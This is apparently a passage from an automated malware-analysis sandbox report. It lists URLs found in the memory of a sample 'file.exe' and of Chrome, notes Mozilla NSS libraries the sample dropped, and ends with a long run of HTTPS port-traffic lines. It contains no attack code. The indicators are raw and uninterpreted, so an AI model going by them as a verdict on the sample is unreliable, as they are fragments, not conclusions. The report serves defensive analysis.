Source: chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814105118.0000138802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000003.00000003.1761779706.00000FFC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000003.00000003.1762521007.00000FFC006E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000003.00000003.1808059788.00000FFC0080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1806883322.00001388009C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000003.00000003.1798174510.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=ee272b19-4411-433f-8f28-5c1
Source: chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814105118.0000138802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://mozilla.org0/
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000003.00000003.1815294580.0000138800294000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000003.00000003.1773783387.0000138800A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000003.00000003.1773783387.0000138800A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000003.00000003.1773783387.0000138800A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000003.00000003.1773783387.0000138800A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000003.00000003.1773783387.0000138800A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000003.00000003.1780395760.0000138801160000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779647728.000013880043C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: file.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814105118.0000138802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://support.mozilla.org
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmp, file.exe, 00000002.00000003.1853543400.0000000023474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: file.exe, 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmp, file.exe, 00000002.00000003.1853543400.0000000023474000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000002.00000002.2321595530.00000000004B5000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774111584.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779598956.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774111584.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779598956.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000003.00000003.1797411338.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1774111584.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1823325587.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1779598956.0000138800BDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1798174510.0000138800BE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: file.exe, 00000002.00000002.2322159441.0000000002FB1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000002.00000002.2339706402.0000000023570000.00000004.00000020.00020000.00000000.sdmp, ECGDHIDAAFHIIDGDBFIE.2.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000003.00000003.1790013018.0000138800F48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000002.00000003.1859942151.000000000300C000.00000004.00000020.00020000.00000000.sdmp, IEBFIEBA.2.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814105118.0000138802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000003.00000003.1779850594.0000138801098000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000003.00000003.1806635535.000013880280C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.1819011223.0000138801388000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814846585.0000138800F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814045854.00001388030A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814008125.00001388030A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814931203.0000138802D38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000003.00000003.1814883729.0000138802D1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp, file.exe, 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000002.00000002.2321595530.0000000000567000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000002.00000003.2263245046.0000000023719000.00000004.00000020.00020000.00000000.sdmp, CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000002.00000003.2263245046.0000000023719000.00000004.00000020.00020000.00000000.sdmp, CBAEHCAEGDHJKFHJKFIJKJEGHI.2.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000002.00000002.2321595530.0000000000484000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
